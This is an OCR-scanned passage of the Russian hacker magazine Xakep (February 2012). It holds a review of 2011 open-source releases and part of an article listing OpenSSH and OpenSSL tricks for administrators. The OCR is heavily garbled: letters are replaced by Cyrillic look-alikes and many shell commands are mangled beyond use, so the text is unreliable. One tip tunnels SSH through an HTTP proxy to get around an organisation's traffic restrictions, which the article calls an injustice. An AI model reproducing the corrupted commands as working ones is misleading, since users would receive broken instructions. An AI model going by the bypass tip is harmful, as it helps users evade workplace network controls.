Copyrtght О 2000, 2010 llbreOffke cont:ributors and/or thelr affiUatn. АtI rlghts r6erv~. Тhis. product was creatr<t Ьу Ubuntu. ba~ оп Op~Orfice.or9 , which 15 Copyright 2000, 2010 ОПldе andJor its аrrШ..,trs . Vbuntu асltпоwlсЮgrs atl communlty membfl's, plea~ find тоге lofo ~t the Unk betow:

CQпtrtЬчtQгшditt

ХАКЕР 02/157/2012

Page 109: Xakep 02_2012

Отказ от использования HAL. Поддержка Zeitgeist (механизм для отсле­живания активности пользователяl. Существенно ускорена работа Nepomuk. Интеграция VPN и NetworkManager 0.9 с поддержкой 3G. Перевод всех компонентов Kontact 5uite на Akonadi. КОМ теперь умеет взаимодействовать

с Grub, что позволяет перезагрузиться в лю­бой пункт Grub прямо из КОМ .

Поддержка Руthоп в Kdevelop. • Функция распознавания лиц в каталогиза­

торе фотографий digiKam (к примеру, для автоматической расстановкитеговl.

Тем не менее, как бы ни был хорош КОЕ4,

довольно много поклонников еще осталось

у КОЕ3 , точнее, уже у его форка Тгiпitу, который

вполне нормально развивается , потихоньку

переползая на Qt4 . Также обновились многие связанные с KDE проекты:

Вышел оwпСlоud 2-свободный аналог

ОгорЬох, написанный на LAMP и позволяю­щий установить сер верную часть на своем

хосте.

Necessitas (порт а! на Androidl обновлялся несколькоразза год, однако пока остается

в статусе alpha.

ДИСТРИБУТИВЫ Каждый год количество дистрибутивов Linux не уклонно растет: появляются новые, обнов­

ля ются старые.

Так, в начале 2011 года один из самых старых и уважаемых дистрибутивов, Debian, порадо­вал нас новым релизом под номером 6 (кодо­вое имя Squeezel. Основные нововведения:

Использование Grub2 по умолчанию .

Параллельный запуск !с учетом зависимо­

стейl iпit-скриптов при старте. Прекращена поддержка звуковой подсисте­

мы 055. • Улучшена поддержка IPv6.

Dpkg научился понимать формат архивов XZ, стал быстрее и больше не нуждается в Perl для работы . Количество пакетов в репозиториях пре­

высило 29 тысяч. Согласно приведенной разработчиками статистике, около 63 % всех Liпuх-дистрибутивов основано на пакетной

базе Debian. Новые версии всего подряд-Liпuх 2.6.32 (из которого убраны все несвободные прошив­киl, GCC 4 . 4 . 5,Хеп 4.0.1, X.Org 7.5, КОЕ5С 4.4.5, GNOME 2.30, Xfce 4.6, ОрепОffiсе.огg 3.2.1. Интеграция СопsоlеКit (управление сессия­

миl и PolicyKit (предоставление расширен­ных правдоступаl .

Полная поддержка DN55EC. 150-0бразыинсталляторовтеперьгибрид­

ные, благодаря чему их можно записать

на флешку с помощью простого dd. DеЫап GNU!kFreeB5D - версия на ядре FreeB5D. Доступны 32- и 64-разрядные

сборки.

ХАКЕР 02/157/2012

Linux Mint 12

• • --$t)'Ie:~ ~6dCL I~

СаЙт Ьасkро г ts . огg , на котором можно найти

пакеты с новыми версиями ПО для старых

релизов, признан официальным сервисом

и пере ехал на Ьасkрогts.dеЫап.огg .

Новые версии ОеЫап появляются редко,

позтому выход каждой превращается в боль­

шое событие (шутка ли - через 18 лет соз­дания дистрибутива вышла только версия

под номером 61. в честь этого был обновлен дизайн (который не менялся 13 летl всех официальных сайтов, начиная с dеЫап.огg .

В прошлом году периодически поднимал-

ся вопрос о создании rolling release ветки DеЫап (бесконечно обновляемого на манер

Gentoo или Arch Liпuхl. В результате появил­ся проект ОеЫап CUT (Сопstапtlу UsabIe Testing) с ежемесячными срезами тестового репозитория, но статус проекта пока еще

не понятен .

Самый известный последователь Debian, Ubuntu, строго по графику обзавелся двумя новыми релизами: 11.04 (Natty Narwhall и 11.10 (Oneiric Ocelotl. Основные усилия раз­работчиков были сосредоточены на следую­

щих нововведениях:

Unity !собственная надстройка над Gпоmе31 стала ОЕ по умолчанию не только для нетбу­

ков, но и для десктопов .

В менеджере приложений 50ftware Center появились рейтинги и отзывы , а также

возможностьпротестироватьприложение

передустановкой(правда,покаподдер­

живаются далеко не все приложения, а для

тестирования необходим пакетqtпхl. Теперь можносинхронизироватьспискиустанов­

ленныхприложениЙмеждукомпьютерами.

Количествоплатныхприложениймедленн~

но верно растет. Кроме того, добавились

книги и журналы.

Объем бесплатного дискового простран­

ства в «облачном» хранилище UЬuпtu Опе

увеличен с 2до 5 Гб (за $2,99 в месяц или $29,99 в год можно получитьдополнитель­ные 20 Гб). Кстати, в середине прошлого года сервис перешагнул рубеж в миллион

пользователей. Также вышел официальный

клиент для Апdгоid, который, правда, умеет

Победы и поражения ореп source - 2011

пока только синхронизировать файлы и ав­

томатически добавлять в U1 фото с камеры.

Кроме того, произошли существенные пере­

'становки в приложениях по у молчанию:

LibreOffice пришел на смену ОрепОffiсе, медиапроигрыватель Banshee заменил Rhythmbox, место Evo lution занял Thunderbird, дисплейный менеджер LightDM вытеснил GDM, удалены 5ynaptic и PiTIVi, добавлена удобная утилита Deja Dup для резервного копирования. Кроме обычного LiveCD (кото­рый, кстати , теперь гибридныйl, появилась DVD-версия с расширенной локализацией,

полной версией LibreOffice, Iпksсаре, GIMP и Pitivi. В семейство UЬuпtu официально во­шла LuЬuпtu с LXDE. Чтобы обосноваться на рынке серверов,

Canonical затратила немало сил на разработку следующих новшеств:

UЬuпtu ARM 5erver Еditiоп -специальная версия для серверов на ARM !сейчас это модный тренд , хотя успешных коммерческих

реализаций пока не видноl. «Облачная » платформа Ореп5tасk для за­

мены Eucalyptus. Проекты Orchestra (коллекция управляю­щих сервисов серверной инфраструктуры,

которые быстро и просто разворачиваются) и Juju (отвечает за запуск определенных сервисов для пользователей).

Самое спорное нововведение в Ubuntu за прошедший год, Uпitу, не могло не снизить

популярность дистрибутива - по крайней

мере, на distrowatch .com UЬuпtu опустилась на второе место в рейтинге. Первое место

с большим отрывом занял Liпuх Mint (осно­ванный на Ubuntul, который также обза­велся двумя релизами в прошлом году - 11 (кодовое имя Katya, основан на Ubuntu 11.04) и 12 (Lisa на базе UЬuпtu 11.101 . Мiпt стара­ется не отпугивать пользователей непри­

вычным интерфейсом, поэтому даже Gпоmе

5hell в последней версии похож на Gnome2. К тому же версия поддерживает Mate Desktop Епviгопmепt - форк Gпоmе2.

Перед тем как начинать разработку сле-

107

Page 110: Xakep 02_2012

UNIXOID

дующего релиза, Сапопiсаl про водит встречу

разработчиков - UЬuпtu Developer Summit, благодаря которой мы можем узнать, чего

ждать от последующих версий дистрибутива . В версии 12.04 LTS (Lопg Term Support) нам обещают:

• Увеличить срок поддержки dеsktор-версии

до пяти лет, а кроме того, в течение первых

двухлетбзкпортироватьвядродровадля

новых железок Iпо-моему, очень хорошая идеяl. Рекомендоватьиспользованиепоумолча­

нию 64-разрядной версии.

• Увеличить объем LiveCO до 750 Мб. Вернуть Rhythmbox на место Вапshее и за­менить ТотЬоу на Gпоtе, чтобы удалить Мопо

с LiveCO. • Доработать Uпitу для улучшения работы

на нескольких мониторах.

Оптимизировать KVM для улучшения работы на ARM, добавить поддержку протокола SPICE, разработанного для связи с вирту­альными машинами.

Включить в стандартную поставку какое­

нибудь приложение-календарь Iвозможно, зто будет Lightпiпg - плагин к ТhuпdегЫгdl.

В 2011 году также вышли две версии само­го известного RРМ-дистрибутива, Fedora: 15 ILovelockl и 16lVегпеl. Основные новшества:

Обновление загрузчика до GRUB2. • Замена Gпоmе2 на Gпоmе3.

Поддержка динамического межсетевого

экрана firewalld, позволяющего менять отдельные правила без перезагрузки всей

таблицы.

Поддержка протокола SPICE в Virt Мапаgег. Изменения в названиях сетевых интерфей­

сов: теперь имя зависит оттипа сетевой

карты и имеет вид р<slоt_пumЬег>р<рогt_

пumЬег> для PCI или еm<рогt_пumЬег> для

Популярность брауэеров в мире по версии StatCounter

108

интегрированной карты.

Постепенный отход от использования setuid в приложениях .

• Диспетчер служб и сеансов systemd. UID и GID нового пользователя теперь на­чинаются с 1000для обеспечения совмести­

мости с другими дистрибутивами и расшире­

ния диапазона UID/GID для сервисов.

Несмотря на опасения, вызванные прода­

жей компании Novell, на разработке орепSUSЕ зтот факт пока не сказался - в 2011 году было выпущено два релиза: 11.4 и 12.1. К значимым изменениям относятся переход на iпit-демон

systemd, внедрение инструмента Sпаррег для управления снапшотами btгfs и « облачного»

хранилища оwпСlоud.

ВSD-системы в ушедшем году не отличи­

лись большим количеc:rвом релизов. В вось­

мой ветке FгeeBSD улучшен Хеп, реализована

новая версия ZFS с поддержкой дедуплика­ции Iмеханизм для зкономии места на диске засчетпоискадубликатовблоко~,ускорено шифрование/дешифрование AES благодаря использованию специального набора инструк­

ций AES-NI в современных процессорах. Changelog FreeBSD 9 значительно интереснее:

Вбазовуюсистемудобавленкомпилятор

Сlапg, который может практически полно­

стью заменить GCc. Система управления RАID-массивами

ataгaid заменена на graid, основанную HaGEOM. Вкачестве инсталлятора по умолчанию

теперь используется ВSDlпstаll.

• Добавлен инструмент RCTL, позволяющий ограничивать ресурсы ICPU, тетогу и дру­гиеl для процессов, пользователей или Jail. Появилась поддержка технологии Capsicum для помещения процессов 'втом числе разных процессов одного приложенияl визолированныеокружения.

• Добавлен новый USВ-драйвер с поддержкой

USB3.0.

Также большим событием для FгeeBSD

стало появление нового гипервизора BHyVe. ОрепВSD пережил два релиза: 4.9 и 5.0 'не ма­жорный, несмотря на нумерациюl. В число основных изменений входят поддержка AES­NI, поддержка больше 4 Гб ОЗУ и больше 64 процессорных ядер, Wake оп LAN, устранение некоторых потенциальных проблем с безопас­

ностью .

Как бы ни хотелось рассказать про много­

численные успехи Liпuх на рынке мобильных

устройств Iтелефонов и планшетовl, рассказ, увы, получится коротким. Единственный пред­

ставитель семейства Liпuх - Апdгоid 'К концу прошлого года количество устройств под его

управлением превысило 200 миллионовl, который с некоторой натяжкой можно считать

открытым, может похвастать двумя мажорны­

ми релизами, выпущенными в 2011 году: вер­сией 3 Iпредназначена только для планшетовl и версией 410бъединенная, для планшетов и телефоновl . Исходные коды ОС были полностью открыты ТОЛЬКО ближе К концу года, после выхода чет­

вертой версии. Основные нововведения:

Обновленный интерфейс-новая панель

уведомлений, новые шрифты .

Встроенное приложение для контроля тра­

фика, позволяющее заблокировать доступ

в сеть для определенного приложения.

• Функция Face Uпlосkдля разблокирования экрана с помощью своего лица .

Стандартный диспетчер задач, который

умеетзавершатьприложения .

Стандартныесредствадлясозданияскрин ­

шотов экрана .

Оптимизации браузера с введением новых

фишек Iвозможность изменить Useг Аgепt, синхронизация закладок с Google Chгomel.

ХАКЕР 02 /157/ 2012

Page 111: Xakep 02_2012

Лого OpenBSD 5.0

Не ус пел Nokia N9, первый и последний смартфон под управлением многострадального

MeeGo, появиться на рынке, как было принято решение заменить MeeGo новой платформой Tizen, которая отличается широким использо­ванием HTML5 при разработке п риложений .

Подробностей пока немного [ хотя первые тестовые версии должны выйти в первом

квартале 2012 - го) , известно только, что раз ­

работкой платформы будут заниматься Linux Foundation и LiMo Foundation. Однако сообще­ство отнеслось к новому проекту скептически

- его настроение можно охарактеризовать

фразой « давайте уже хоть что-нибудь доведем

до ко нца ».

1#1 •• 11111 За прошедший год все популярные опен­

сорсные браузеры шагнули далеко вперед.

Самый большой changelog в п рошлом году был у FireFox 4:

Интерфейс приобрел черты Google Chrome: панель вкладок переехала в самый верх

итеперьнаходится над адресной строкой.

Также переработан интерфейс менеджера

дополнений [которыйтеперьоткрывается во вкладке, а не в отдельном окне).

Появился инструментWеЬ Сопsоlе [Web Inspectorl- своего рода облегченный вари­

ант Firebug. • Добавлена поддержка WebM и коде ка VP8

в теге <video>. Синхронизациязакладок,истории,паролей

между несколькими компами теперь осу­

ществляется через сервера Mozilla и доступ­на «из коробки» [раньше она реализовыва­

лась с помощью дополнения Firefox Sync). • Добавлена поддержка WebGL [технология,

с помощью которой можно получить доступ

к функциям ОрепGL из JavaScriptl . • Добавлена поддержка спецификации

APllndexedOB, которая позволяет через JavaScript делать выборки с сортировкой из интегрированной с web-браузером базы

да нны х.

Добавлена поддержка протокола WеЬ

Sockets для организации двусторонней связи между браузером и web-сервером.

П оя вилась страница about:memory, отобра­жающая подробную информацию отом, как

браузер использует ОЗУ.

В основном благодаря новому JavaScript-

ХАКЕР 02 / 157/2012

движкуудалосьдобиться серьезного уско­

рения .

• Добавлен новый НТТР-заголовок 00 Not Track, после получения которого сайт дол­жен прекратить слежку за пользователем . :1 Плагины теперь выполняются в отдельных

процессах, чтобы падающий Flаsh-плагин

не ронял весь браузер.

Начиная с пятерки, новые версии выходили

часто, а серьезных изменений в них было

немного, поэтому сразу перечислю все новые

фичи в релизах 5-9: Исправлены проблемы сутечками памяти .

На странице аЬоut : регmissiопs можно

настроить права на сохранение паролей,

использование кук и некоторых HTML5-технологий отдельно для каждого домена.

• Добавлена поддержка HTML5-тегов

progress и сопtехtmепu. • Для функционирования дополнений, уста­

навливающихся автоматически [например, при установке Skype или Java), теперь требу­ется явное разрешение от пользователя.

Google Chrome, основной конкурент Firefox за звание второго по популярности браузера,

в прошедшем году зарелизился семь раз [были

выпущены версии с 9 по 151.

.. J I GetSoftware I

Победы и поражения ореп source - 2011

Основные фичи, которыми браузер обза­

велся за год:

• WеЬGLвключен по умолчанию. • Ускорение за счет обновления JavaScript­

движка .

• Ускорение воспроизведения видео, осу­

ществляемоесредствамивидеокарты.

Настройки браузера переехали из отдель­

ныхоконвовкладки.

Механизма голосового заполнения форм

[голос распознается на серверах Googlel . Возможность очищать Flash Cookie. Возможность сохранять страницу в POF. ПоддержкаАРllпdехеdОВ .

• Технология Native Сliепt, позволяющая выполнять код на С/С++ через браузер прак­тически без потери производительности

по сравнению с системными приложениями .

По данным StаtСоuпtег, в ко н це прошлого

года Google Chrome стал вторым по популяр­ности браузером в мире [после вечного IEI, обогнав Firefox.

ТО ВЕ CONТlN UED Немного проанализировав направление раз­

вития опенсорсных проектов в прошлом году,

можно предположить, что нас ждет в ·этом .

Продолжается бум мобильных устройств, поз­

тому в низкоуровневых компонентах [типа ядра или GCCI будет улучшаться поддержка ARM, а высокоуровневые обзаведутся интерфейсом,

оптимизированным для тачскринов . Btrfs окончательно стабилизируется и будет исполь­

зоваться во многих дистрибутивах [возможно, даже как FS по умолчанию) . Flash, наконец, умрет [это уже, правда, мои мечтыl. Также ожидается появление большого количества

опенсорсных игр для Liпuх на движке Ооот 3 и нескольких проприетарных игр на кросс­

платформенны х движках . А еще, говорят,

выйдет GIMP 2.8. Ну и напоследок, пока я

за Нострадамуса, скажу только тебе и по боль­

шому секрету: конца света не будет :I.:::I:

1"

Ubuntu Software Center

Departments

Accessorles

-,

omce

DeVeIOPer TooIs

Ubuntu Software Center

Fon!>

Sdence&. Ef91eetI1g

5yst>m

• Games

scx.rd &. VIdeO Themes & ТWea13

109

Page 112: Xakep 02_2012

UNIXOID Евгений Зобнин lexecbit.ruJ

-с полным списком команд OpenSSL можно ознакомиться

с помощью

следующих

пара метров: list­standart-commands, list-message-digest­commands,list­cipher-commands.

к иптологический и OPENSSH, О КОТОРЫХ ТЫ НЕ ЗНАЛ

Такие инструменты, как OpenSSH и OpenSSL, в представлении не нуждаются. Это вечные

друзья любого сисадмина и многих продвинутых

пользователей. Однако далеко не все знают

об их истинной мощи и возможностях,

накопленных за годы разработки. Сегодня

тебе откроется масса интересных способов

использования этих программ.

•. '1·0·" OpenSSH, пришедший на смену дырявому Telnet, до сих пор за-нимает первое место среди систем удаленного управления бла­

годаря безопасности и простоте в использовании. Разобраться

в нем способны все , даже самые хроми рованные чайники, одна­

ко подавляющее большинство пользователей задей ствует мини­

мум его возможностей . Опустим рассказы о ключах, пробросах

портов, проксировании и други х полезны х, но всем известных

110

) openss 1 s_c 1 ient -startt Is smtp -сr 1 f -connect smtp. gmai 1 . com : 25 СОННЕСТЕО (00000003) depth=l С = US, О = Goog1e Inc, СН = Google Internet Ruthori ty verify error:num=20:unable ta get lоса1 issuer certificate ver i fy return: В

Certificate chain В s: /C=US/ST=Cal i forn ia/L=Mauntain View/O=Goog 1е Inc/CN=smtp. gma i 1 . cam

i: /C=US/O=Gaogle Inc/CN=Goagle lnternet Ruthori ty 1 s: /C=US/0=Gaog1e Inc/CN=Goog lе Internet Ruthori ty

i : /C=US/O=Equ i fax/OU=Equi fax Secure Cert i ficate Ruthori ty

Server cert i f icate -----BEGIN CERTlFICRTE-----МI 1 O,"zCCRsSgRw 1 BRg IKaM9uMQRDRRR irTRNBgkqhk i G9wBBRQUFRDBGMQswCQYD VQQGEwJVUzETMBEGR1UEChMKR29vZ2x IIE 1 uYzE i MCRGR1UERxMZR29vZ2x 1 IE lu dGVybmVB 1 EFldGhvcm 1 Ве TReFw0xMTRyMTYwNDM~MD laFwBxMjRyMTYwNOQ~MO lа MGgxCzRJBgNVBRYTR 1 VTMRMwEQYDVQQ 1 EwpDY,"xpZm9ybm 1 hMRYwFRYOVQQHEw lН b3VudGFpbiB,"a,"V3MRMwEQYDVQQKEwpHb29nbGUgS'"5jMRcwFQYDVQQDEw5zbXRw Lmd t У'" 1 sLmNvb TCBnzRNBg kqhk i G9wBBRQEFRAOB jQRwgYkCg YERzv9SacnXKcRx +BB~yVH2qdp VUXnCkBNv kn /y2Y0nkzF a,"s,"MAkOL TMt sа5уРб9рпs УЬ9 turs~K i L DkRnf7RdSV 1 тр 1 GRknMRPDY Ir ja231 tutuN7Q~EjadsY8Q+NX5u,"j 1 PsASBE8Gu 1 9JobE 1 ~ iGFURfF +2 i OG lwF eFbpCaDJECAwERRaOCRSwwggEoMBBGR 1UdDgQ'"BBQK s t TMUTHcQEpEpgaXuVVXJ е 1 Нх jRfBgNVHSMEGDR,"gBS /wDОr9UМRРmебпрН7 /Gr а ~2sSJDВЬВgNVНR8ЕVDВSМFСgТqВМhkроdНRwОi8vd3dЗLmdzdGFВа,"MuY29tL0dv b2dsZU ludGVybmV0QXV0aG9yaXRSL0dvb2dsZU ludGVybmV0QXV0aG9yaXR5LmNy

Используем OpenSSL для подключения к Gmail

ХАКЕР 02/157/2012

Page 113: Xakep 02_2012

Криптологический рай

> ls -1 UTOrO 68 -rwxr-xr-x 1 j1m users 2264 ФеВр. 23 2011 insta11.sh -г--г--г-- 1 j1m users 36961 ФеВр. 23 2011 ok400pc 1 . ppd -г-хг-хг-х 1 j1m users 4119 ФеВр. 23 2011 rastertookimonochrome -г--г--г-- 1 j1m users 10116 ФеВр. 23 2011 readme.pdf -rwxr-xr-x 1 j1m users 921 ФеВр. 23 2011 uninsta11.sh > for f in * ; do [ -f $f ] && openss1 епс - aes-256-cbc -sa1t -in $f -out $f.enc -pass pass: 12345 ; done > ls -1 UTOrO 136 -rwxr-xr-x 1 j1m users 2264 ФеВр. 23 2011 insta11.sh -rw-r--r-- 1 j1m users 2288 geK. 1 18:29 i ns t а 11 . sh . епс -г--г--г-- 1 j1m users 36961 ФеВр. 23 2011ok400pc1.ppd -rw-r--r-- 1 j1m users 36992 geK. 1 18:290k400pc1.ppd.enc -г-хг-хг-х 1 j1m users 4119 ФеВр. 23 2011 rastertookimonochrome -rw-r--r-- 1 j1m users 4144 geK. 1 18:29 rastertookimonochrome.enc -г--г--г-- 1 j1m users 10116 ФеВр. 23 2011 readme.pdf -rw-r--r-- 1 j1m users 10144 geK. 1 18:29 readme.pdf.enc -rwxr-xr-x 1 j1m users 921 ФеВр. 23 2011 uninsta11.sh -rw-r--r-- 1 j1m users 944 geK. 1 18:29 uninsta11.sh.enc > I

Шифруем файлы с помощью OpenSSL

приемах и рассмотрим на самом деле интересные и не слишком

распространенные способы использования зто го инструмента.

Итак, трюк номер один - множественные подключения.

OpenSSH способен обслуживать множество одновременных соединений с одной и той же машиной. Обычно пользователи

просто запускают команду и ждут ее завершения, чтобы за­

пустить следующую . К счастью, эту проблему легко обойти путем

разделения одного соединения на множество сессий. Просто

добавь в конфиг ssh I-/.ssh/config) следующие строки:

ControlMaster auto ControlPath -/.ssh/mux_%h_%p_%r

Ты сможешь создать столько соединений с одним и тем же сер­

вером, сколько посчитаешь нужным, причем время на повторную

аутентификацию тратить будет не нужно.

Трюк номер два - проксирование соединений. Допустим,

ты не можешь создать соединение с SSH-сервером напрямую,

но можешь использовать для зто го другой хост, К которому ты

тоже имеешь SSН-доступ. Добавь в свой конфиг следующие

строки:

ForwardAgent yes Host host

HostName host.com ProxyCommand ssh proxy~host.com \

netcat -q бее %h %р

Команда ssh host создаст соединение с сервером host .com через сервер proxy-host.com.

Трюк номер три - выход за пределы НТТР-изоляции. Многие

организации не просто режут неугодный им трафик, но и принуж­

дают пользователей выходить в Сеть только с использованием

НТТР-протокола. Такую несправедливость легко обойти с помощью

corkscгew Iwww.аgгоmап . пеt/согksсгеw/J. который умееттуннели­ровать SSН-трафик через НТТР. Просто установи его на свою маши­

ну и добавь в конфиг следующие строки Iгде ргоху.сот и 80 - зто адрес внешнего НТТР-прокси и его порт):

ХАКЕР 02/157/2012

Host * ProxyCommand .corkscrew proxy. сот ве %h %Р. ..

Теперь все соединения пойдут через указанный НТТР-прокси.

Трюк номер четыре - тест пропускной способности сети. Чтобы

протестировать скорость соединения, необязательноустанавл и­

вать специализированное ПО, достаточно утилиты pv и старого доброго SSH:

$ sudo apt-get install ру $ yes 1 ру 1 ssh host.com "cat > /dev/null"

Трюк номер пять - удаленный анализ сете вого трафика. Почти

в любой UNIХ-системе есть сетевой сниффер tcpdump, однако читать его лаги довольно утомительно. Возможности OpenSSH по­могут упростить анализ трафика :

$ ssh root@host L~9m tcpdump -w - 'port !22' \ _ 1 wireshark . -IC.:J -

Теперь весь трафик, проходящий через host.com, будет виден в графическом окне wireshark на твоей машине .

Трюк номер шесть - передача файлов на низкой скорости.

Иногда бывает необходимо передать большое количество файлов

на удаленную машину, но сделать зто так, чтобы процесс не мешал

работе с сетью. В этом случае можно воспользоваться инструмен­

том cstream:

$ sudo apt-get install cstream $ tar -cj /backup 1 .cstream -t 512k 1. \

ssh host . ti;lr ,-xj -С /backup'

Трюк номер семь - всегда открытая SSН-сессия. Пользовате­

лям ноутбуков, чье соединение с сетью может быть не постоянным,

приходится каждый раз заново запускать SSН-клиент в момент,

когда сеть появляется, и убив.ать его при потере соединения.

Избежать этого можно с помощью инструмента autossh, который будет поддерживать иллюзию постоянного соеди нения с сервером,

111

Page 114: Xakep 02_2012

UNIXOID

) openss1 s_time -connect gmai1.com:443 -www /test.htm1 -new Но CIPHER specified Co11ecting connection statistics for 30 seconds tttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt

94 connections in 0.72s; 130.56 connections/user sec, bytes read 38728 94 connections in 31 геа1 seconds, 412 bytes read рег connection ) openss1 s_time -connect gmai1.com:443 -www /test.htm1 -new -ss13 -cipher HIGH Co11ecting connection statistics for 30 seconds 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333

93 connections in 0.68s; 136.76 connections/user sec, bytes read 38316 93 connections in 31 геа1 seconds, 412 bytes read рег connection ) I

Делаем бенчмарк SSL-сервера Gmail

восстанавливая связь. когда сеть окажется доступной:

$ ... suф. apt-gеtJП.st.<!J,J ... ,щtоssЬ . $ аutоssh .. с.МSЩ~0е .c.t . s.er.l!er .. exal1Jple.com \ ..

... · .scT.een ... : r:aд.g ... !!1}'.s.e.S.~,i,91J : ..

Трюк номер восемь - запуск команды на нескольких серверах

одновременно. Комментарии излишни:

$ .. echo .. :·.uptime.·: ... .I .. p.e.e . ::~s.h . hщt:J," ::ssh .h05t2·: .. \ ................ . .. ssh hоs.t.З.:: .................... .

Трюк номер девять - удаленное сравнение файлов. Часто

требуется сравнить локальную и удаленную версию какого-либо

конфига, однако копировать файлы туда-сюда неудобно и долго.

В этом случае можно воспользоваться следующей командой:

$ .ssh LJsе[email protected]оst ... с<!tJЛУJ:Q/~/уд<!леННОr>1у/фаЙлу '\ ... .\Ji.ff /nYIbl.l<fllQK<!IH'!J.Q~Y /фi!.ЙЛУ -

То же самое можно проделать для двух файлов, находящихся

на разных серверах:

$ gJ ff < (sSD .. h.os.t1 ... c.<Jt.J e.tc/<!p1:/sources .. l;ist) . .\ ... . . < (s.sh .. hQst2 .. c.a:t . .I.е.1;.Ц<Jрtf.sрurсеs . .1ist) .. . ............... .

Трюк номер 10 - одновременный просмотр логов с нескольких

машин. С помощью multitail и SSH можно запросто просматривать логи с двух серверов одновременно:

CPUO: RNG AES

Результаты бенчмарка криптографических средств ,

встроенных в CPU платформы VIA Eden Iпроцессорные инструкции для работы с алгоритмом блочного симметричного

шифрования AES} :

% openssl speeg ... : .e1<!p.s.e.\J ... :.evp aes-25б.-сЬс . . ..... _ ............... . t}'pe . lБWtеS._ .. Б4Меs ... 25бbytеs 1024bytes .. 819~ .t;Jy:tes.

аеs-25б-фс Д~. ~~k .. ~5.~1 ,?!:!k . 19!!578 .. 08k ,31Д02..05lс ~~~Z:J. .. 051<

112

$ .s.udo .ap:t~ ge:t .. iJ)st.aJ,! mu.1titflJ.1 ... _ ............. _ ............ . $ .mul t:i.:t<!,i,.1 ... c . .l ... ~.sshh9S.tl .. ".tail .. :.f_ .. \ ........... _ ....... _ .................. .

.. .. f.l!flr/JQgf.<!p.<!cbe.U e.rror .lqg".' ... :J ... : .. s.SD ... D.Qst~ .. \ ... . :'ta.H ... : f.J I!<JTIJQg/<!pache2/error • .1qg::.:

Трюк номер 11 - копирование файлов с одной удаленной

машины на другую через локальную. В случае если две удаленные

машины не могут установить связь друг с другом, файлы между

ними можно передавать, используя свой комп в качестве промежу­

точного звена:

$ sshr:[email protected]:1 .. .. ccj /l<<JтаllОГ .. && .. 1:аr:_. - .с.f ... :: ...•. :: .. J\ .. ssh [email protected] . "сс! .} катаn.ог .. && .. tar: .. :xf: ... : ................ .

Трюк номер 12 - копирование вывода удаленной команды

в буфер обмена. Часто требуется скопировать в ывод удаленной

команды в буфер обмена, чтобы вставить его в письмо, сообще­

ние форума и т . д. Проще всего это сделать с помощью утилиты

xclip:

$ ssЬ .usе.r@.ЬQ.~:t .. j:<!t .. /ф<Jйд.Jхt 1. 1<.c.Hp ............................ .

Трюк номер 13 - синхронизация времени средствами SSH . В случае, если машина не имеет доступа к NTP-серверу или на ней

не установлен NТР-клиент, синхро низировать время между маши­

нами можно так :

Трюк номер 14 - установка пакетов удаленной машины

на локальную. Нередко требуется синхронизиро вать две машины

так, чтобы они имели одинаковый набор установленных па кетов .

Стандартными методами сделать зто сложно, но с помощью SSH проще простого:

~ . s.sh remotehost'.9P.kg .. - .:gеt-sеJ,е.с.t:LQns. ' ... J. .. \ ...... . . dpkg .. с.~.S.еt.~.S.еJеС.t.iол.s .. (!.& .dseJeJ:;t .. j,nS.t.i!.H ..................... .

Трюк номер 15 - снимок удаленного экрана. Можно очень легко

получить изображение Х-сервера с удаленной машины, воспользо­

вавшись стандартным графическим пакетом ImageMagick:

# ss.h. ч.sег@h.оs.t. .. ::DJSP.L,A,,(= :.0 .. 0 . .imР.ог1: .. :~Jл.ф.w ... \ ... r.oot .. : for.mat ... RlJg :" .1 disp.lay -fоr.m;!J .. Р!JК -

Чтобы сохранить его в файле, последнюю команду следУет за­

менить на «> file .png».

ХАКЕР 02/157/2012

Page 115: Xakep 02_2012

Трюк номер 16 - ускорение передачи данных . Если машины,

с которыми установлено соединение, находятся внутри заведомо

безопасной сети Iнапример, офис или домl, передачу данных сред­ствами SSH можно несколько ускорить, если использовать менее стойкий алгоритм шифрования. Для этого добавь в конфигураци­

онный файл следующие строки:

Host host.com Ciphers arcfour256 MACs [email protected]

Трюк номер 17 - вывод звука с удаленной машины на локаль­

ную. Вместе с картинкой рабочего стола удаленной машины иногда

хочется получить и звук. Это делается с помощью банального dd:

$ dd if;/devjdsp I ssh -с arcfour -С \ user@host dd of;/dev/dsp

Трюк номер 18 - запуск локального скрипта на удаленной ма­

шине. Нередко требуется запустить скрипт на удаленной машине,

однако копировать его туда совсем необязательно, достаточно

выполнить следующую простую команду:

$ ssh -Т user@host < script.sh

1.11.0"" OpenSSL представляет собой систему защиты и сертификации данных, которая была разработана в ответ на создание протокола

безопасных сокетов SSL компанией Netscape. Вопреки расхожему мнению, OpenSSL вовсе не является инструментом для реализации SSL-протокола и может выполнять множество самых разнообраз­

ных функций, в том числе управлять ключами и сертификатами,

рассчитывать хеши и т. д. Вот лишь неполный список возможно­

стей этого криптографического комбайна:

создание ключей RSA и DSA и управление ими Iкоманды rsa, dsa, dsaparaml;

• создание сертификатов формата х509, формирование запросов на сертификацию, восстановление Iкоманды х509, req, verify, са, crl, pks12, pks71;

• симметричное и асимметричное шифрование данных Iкоманды епс, rsautll;

• расчетхешей Iкоманда dgstl; • работа с S/MIME Iкоманда s/mimel.

Также OpenSSL может быть использован для проверки SSL­серверов и клиентов с помощью специальных команд s_client/s_ server и для тестирования скорости работы различных алгоритмов Iкоманда speedl .

Мы не раз писали о работе с пакетом OpenSSL, поэтому не будем рассматривать стандартные примеры его использования вроде

создания хешей и сертификатов, а сразу перейдем к более серьез­

ным трюкам .

ВРЕМЯ - ДЕНЬГИ Одна из интересных особенностей OpenSSL заключается в том, что он может провести бенчмарк используемых алгоритмов и скорости

Криптологический рай

установления SSL-соединения. Для этого предназначена стан­

дартная команда s_time. Чтобы оценить скорость установки SSL­соединения, нужно применить ее к команде openssl:

$ openssl s_time -connect gmail.com:443 \ -www /test.html -new

103 connections in 0.75s; 137.33 connections/user sec, bytes read 42436 103 connections in 31 real seconds, 412 bytes read per connectiOl1

То же самое можно проделать с помощью наиболее стойких

алгоритмов:

$ openssl s_time -ss13 -cipher HIGH \ -connect gmail.com:443 -www / -new

99 connections in 0.73s; 135.62 connections/user sec, bytes read 40788 99 connections in 31 real seconds, 412 bytes read per connection

Эти две команды позволяют определить максимальную про­

пускную способность SSL-сервера . Но еще более интересный

способ заключается в тестировании всех поддерживаемых алго­

ритмов. Для зто го нам придется прибегнуть к скриптингу:

IFS;": " for с in $(openssl ciphers -ss13 RSA); do

echo $с openssl s_time -connect host:443 -www / -new \

